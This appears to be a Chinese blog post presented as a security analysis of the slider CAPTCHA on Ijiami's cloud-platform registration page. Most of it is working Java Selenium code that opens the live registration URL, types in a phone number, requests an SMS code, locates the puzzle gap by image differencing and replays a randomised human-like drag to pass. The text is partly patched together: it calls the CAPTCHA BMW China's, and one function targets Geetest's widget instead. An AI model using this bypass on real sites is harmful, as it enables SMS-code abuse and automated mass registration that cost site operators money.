前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：
- 暴力破解密码，造成用户信息泄露
- 短信盗刷的安全问题，影响业务及导致用户投诉
- 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析
一、 爱加密_云平台PC 注册入口
简介：北京智游网安科技有限公司（爱加密_云平台）成立于2013年，研发及运营中心位于深圳，同时在全国各地设立了12个分支机构，拥有员工300多人。爱加密_云平台（www.ijiami.cn)是专业的移动信息安全服务提供商，专注于移动应用安全、大数据、物联网及工业互联网安全，坚持以用户需求为导向、持续不断的创新，致力于为客户提供全方位、一站式的移动安全全生命周期解决方案。爱加密_云平台的服务宗旨是通过革新性安全方案和7x24小时全天候的专业服务，打造和谐、强大、高度安全的万物互联生态环境。
二、 安全性分析报告：
爱加密技术团队自己研发的滑动验证码，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。
三、 测试方法：
前端界面分析，这是宝马中国技术团队自己研发的滑动验证码，网上没有现成的教学视频，但形式都差不多， 这次还是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分
1. 模拟器交互部分
private static String INDEX_URL = "https://cloud.ijiami.cn/admin/#/register";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
RetEntity retEntity = new RetEntity();
try {
driver.get(INDEX_URL);
// 输入手机号
WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("form_item_mobile"), 100);
phoneElemet.sendKeys(phone);
// 点击获取验证码
WebElement sendElement = driver.findElement(By.xpath("//button[contains(text(),'获取验证码')]"));
sendElement.click();
Thread.sleep(1000);
// pic 1 get big
WebElement bigImgElement = driver.findElement(By.xpath("//div[@class='verify-img-panel']/img"));
String bigImgUrl = bigImgElement.getAttribute("src");
byte[] bigBytes = GetImage.callJsByUrl(driver, bigImgUrl);
int bigLen = (bigBytes != null) ? bigBytes.length : 0;
if (bigLen < 100) {
System.out.println("bigImgUrl=" + bigImgUrl + "->bigLen=" + bigLen);
return null;
}
// pic 2 get small
WebElement smallImgElement = driver.findElement(By.xpath("//div[@class='verify-sub-block']/img"));
String smallSrc = smallImgElement.getAttribute("src");
byte[] smallBytes = GetImage.callJsByUrl(driver, smallSrc);
if (smallBytes == null) {
System.out.println("smallBytes=" + smallBytes);
return null;
}
String ckSum = GenChecksumUtil.genChecksum(bigBytes);
Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, "Ijiami", 0);
if (openResult == null || openResult.size() < 2) {
System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);
return null;
}
Double r = 330.0 / 310;
BigDecimal disD = new BigDecimal(openResult.get("minX") * r).setScale(0, BigDecimal.ROUND_HALF_UP);
int distance = disD.intValue();
WebElement moveElement = driver.findElement(By.className("verify-move-block"));
ActionMove.move(driver, moveElement, distance);
System.out.println("distance=" + distance);
Thread.sleep(1000);
WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button[contains(text(),'秒后重发')]"), 20);
String info = (infoElement != null) ? infoElement.getText() : null;
retEntity.setMsg(info);
if (info != null && info.contains("秒后重发")) {
retEntity.setRet(0);
}
return retEntity;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return null;
}
}
2. 获取滑动图片及调用移动交互
public boolean getAndMove(WebDriver driver, Integer offSet) {
int distance = -1;
try {
WebElement moveElement = ChromeDriverManager.waitElement(driver, By.className("geetest_slider_button"), 1000);
if (moveElement == null) {
logger.error("getAndMove() moveElement=" + moveElement);
return false;
}
// 下面的js代码根据canvas文档说明而来
// 完整背景图geetest_canvas_fullbg geetest_fade geetest_absolute
StringBuffer base64 = new StringBuffer();
String fullName = "geetest_canvas_fullbg geetest_fade geetest_absolute";
byte[] fullImg = GetImage.callJsByName(driver, fullName, base64);
String bgName = "geetest_canvas_bg geetest_absolute";
byte[] bgImg = GetImage.callJsByName(driver, bgName, base64);
File fullFile = null, bgFile = null;
if (fullImg != null && bgImg != null) {
Long time = System.currentTimeMillis();
fullFile = new File(dataPath + "geet/" + time + "full.png");
FileUtils.writeByteArrayToFile(fullFile, fullImg);
bgFile = new File(dataPath + "geet/" + time + "bg.png");
FileUtils.writeByteArrayToFile(bgFile, bgImg);
if (fullImg.length < 10000) {
System.out.println("fullImg len=" + fullImg.length + " -> err[len<10000]");
return false;
}
}
// 获取滑动距离并删除图片
distance = (fullFile != null && bgFile != null) ? ActionMove.getMoveDistance(fullFile.getAbsolutePath(), bgFile.getAbsolutePath()) : -1;
if (distance < 1) {
logger.error("getAndMove distance=" + distance);
return false;
}
if (offSet != null)
ActionMove.move(driver, moveElement, distance - offSet);
else
ActionMove.move(driver, moveElement, distance);
// 滑动结果
Thread.sleep(1 * 1000);
WebElement infoElement = ChromeDriverManager.getInstance().waitForLoad(By.className("geetest_result_content"), 10);
String gtInfo = (infoElement != null) ? infoElement.getAttribute("innerText") : null;
if (gtInfo != null) {
System.out.println("gtInfo=" + gtInfo);
if (gtInfo.contains("速度超过") || gtInfo.contains("通过验证")) {
return true;
}
} else {
String msg = driver.findElement(By.className("geetest_panel_success_title")).getAttribute("innerText");
System.out.println("msg=" + msg);
}
return false;
} catch (Exception e) {
System.out.println("getAndMove() " + e.toString());
logger.error(e.toString());
return false;
}
}
3. 距离识别
/**
* 计算需要平移的距离
*
* @param fullImgPath
* 完整背景图片文件名
* @param bgImgPath含有缺口背景图片文件名
* @return
* @throws IOException
*/
public static int getMoveDistance(String fullImgPath, String bgImgPath) {
System.out.println("fullImgPath=" + fullImgPath);
File fullFile = new File(fullImgPath);
File bgFile = new File(bgImgPath);
boolean fullExists = fullFile.exists();
boolean bgExists = bgFile.exists();
if (fullExists && bgExists) {
String abPath = bgFile.getAbsolutePath();
int l = abPath.lastIndexOf(".");
String out = abPath.substring(0, l) + "-o" + abPath.substring(l);
return getComareImg(fullFile, bgFile, out);
} else {
System.out.println("fullExists(" + fullImgPath + ")=" + fullExists + "\nbgExists(" + bgImgPath + ")=" + bgExists);
return -1;
}
}
/**
* 计算需要平移的距离
*
* @param driver
* @param fullImgPath完整背景图片文件名
* @param bgImgPath含有缺口背景图片文件名
* @return
* @throws IOException
*/
private static int getComareImg(Object fullObj, Object bgObj, String out) {
System.out.println("getComareImg() begin");
try {
if (fullObj == null || bgObj == null) {
return -1;
}
BufferedImage fullBI = (fullObj instanceof File) ? ImageIO.read((File) fullObj) : ImageIO.read((ByteArrayInputStream) fullObj);
BufferedImage bgBI = (bgObj instanceof File) ? ImageIO.read((File) bgObj) : ImageIO.read((ByteArrayInputStream) bgObj);
List<Integer> list;
Color ca, cb;
Map<Integer, List<Integer>> xMap = new TreeMap<Integer, List<Integer>>();
// 将头35列的最大不同值取出， 作为右边图像的基础差
Long tifTotl = 0L;
int tifLeft = 0;
int tifCount = 0;
for (int i = 0; i < bgBI.getWidth(); i++) {
for (int j = 0; j < bgBI.getHeight(); j++) {
ca = new Color(fullBI.getRGB(i, j));
cb = new Color(bgBI.getRGB(i, j));
int diff = diff(ca, cb);
if (i <= 35 && tifLeft < diff) {
tifLeft = (diff >= 255) ? 255 : diff;
} else if (diff > tifLeft) {
tifTotl += diff;
tifCount++;
}
}
}
Long tifAvg = (tifCount > 0) ? (tifTotl / tifCount) : 0L;
if (tifLeft <= 0 && tifAvg >= 2) {
tifAvg = tifAvg / 2;
}
for (int i = 35; i < bgBI.getWidth(); i++) {
for (int j = 0; j < bgBI.getHeight(); j++) {
ca = new Color(fullBI.getRGB(i, j));
cb = new Color(bgBI.getRGB(i, j));
int diff = diff(ca, cb);
if (diff >= tifAvg) {
list = xMap.get(i);
if (list == null) {
list = new ArrayList<Integer>();
xMap.put(i, list);
}
list.add(j);
xMap.put(i, list);
}
}
}
System.out.println(" |--tifLeft=" + tifLeft + ",tifTotl=" + tifTotl + ",tifCount=" + tifCount + ",tifAvg=" + tifAvg + ",xMap.size=" + xMap.size());
int minX = 0;
int maxX = 0;
for (Integer x : xMap.keySet()) {
list = xMap.get(x);
minX = (minX == 0) ? x : minX;
maxX = x;
for (int y : list) {
cb = new Color(bgBI.getRGB(x, y));
int gray = (int) (0.3 * cb.getRed() + 0.59 * cb.getGreen() + 0.11 * cb.getBlue());
bgBI.setRGB(x, y, gray);
}
}
// 标记直线位置
for (int y = 0; y < bgBI.getHeight(); y++) {
bgBI.setRGB(minX, y, Color.red.getRGB());
}
int width = maxX - minX;
File destFile = new File(out);
Thumbnails.of(bgBI).scale(1f).toFile(destFile);
System.out.println(" |---xMap.size=" + xMap.size() + " minX=" + minX + ",maxX=" + maxX + ",width=" + width);
return minX;
} catch (Exception e) {
System.out.println(e.toString());
for (StackTraceElement elment : e.getStackTrace()) {
System.out.println(elment.toString());
}
logger.error("getMoveDistance() err = " + e.toString());
return 0;
}
}
private static int diff(Color ca, Color cb) {
int d = Math.abs(ca.getRed() - cb.getRed()) + Math.abs(ca.getGreen() - cb.getGreen()) + Math.abs(ca.getBlue() - ca.getBlue());
return d;
}
4. 轨道生成及移动算法
/**
* 双轴轨道生成算法，主要实现平滑加速和减速
*
* @param distance
* @return
*/
public static List<Integer[]> getXyTrack(int distance) {
List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
try {
int a = (int) (distance / 3.0) + random.nextInt(10);
int h = 0, current = 0;// 已经移动的距离
BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
BigDecimal move = null;// 每次循环移动的距离
List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
boolean plus = true;
Double t = 0.18, v = 0.00, v0;
while (current <= distance) {
h = random.nextInt(2);
if (current > distance / 2) {
h = h * -1;
}
v0 = v;
v = v0 + a * t;
move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
if (move.intValue() < 1)
move = new BigDecimal(1L);
if (plus) {
track.add(new Integer[] { move.intValue(), h });
} else {
subList.add(0, new Integer[] { move.intValue(), h });
}
current += move.intValue();
if (plus && current >= mid.intValue()) {
plus = false;
move = new BigDecimal(0L);
v = 0.00;
}
}
track.addAll(subList);
int bk = current - distance;
if (bk > 0) {
for (int i = 0; i < bk; i++) {
track.add(new Integer[] { -1, h });
}
}
System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
return track;
} catch (Exception e) {
System.out.print(e.toString());
return null;
}
}
/**
* 模拟人工移动
*
* @param driver
* @param element页面滑块
* @param distance需要移动距离
* @throws InterruptedException
*/
public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
List<Integer[]> track = getXyTrack(distance);
if (track == null || track.size() < 1) {
System.out.println("move() track=" + track);
}
int moveY, moveX;
StringBuffer sb = new StringBuffer();
try {
Actions actions = new Actions(driver);
actions.clickAndHold(element).perform();
Thread.sleep(20);
long begin, cost;
Integer[] move;
int sum = 0;
for (int i = 0; i < track.size(); i++) {
begin = System.currentTimeMillis();
move = track.get(i);
moveX = move[0];
sum += moveX;
moveY = move[1];
if (moveX < 0) {
if (sb.length() > 0) {
sb.append(",");
}
sb.append(moveX);
}
actions.moveByOffset(moveX, moveY).perform();
cost = System.currentTimeMillis() - begin;
if (cost < 3) {
Thread.sleep(3 - cost);
}
}
if (sb.length() > 0) {
System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
}
Thread.sleep(180);
actions.release(element).perform();
Thread.sleep(500);
} catch (Exception e) {
StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
for (StackTraceElement elment : e.getStackTrace())
er.append(elment.toString() + "\n");
logger.error(er.toString());
System.out.println(er.toString());
}
}
5. 图片比对结果测试样例：
四丶结语
北京智游网安科技有限公司（爱加密）成立于2013年，研发及运营中心位于深圳，爱加密（www.ijiami.cn)是专业的移动信息安全服务提供商，专注于移动应用安全、大数据、物联网及工业互联网安全，爱加密在吸取了同行滑动验证码的经验后，自己研发了独特风格的那个验证码， 在一定程度上提高了用户体验， 但安全性在机器学习的今天， 已经无法应对攻击了，并且正是由于该产品通俗， 所以在网上破解的文章和教学视频也是大量存在，并且经过验证滑动产品很容易被破解， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。
很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。
所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#
谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？
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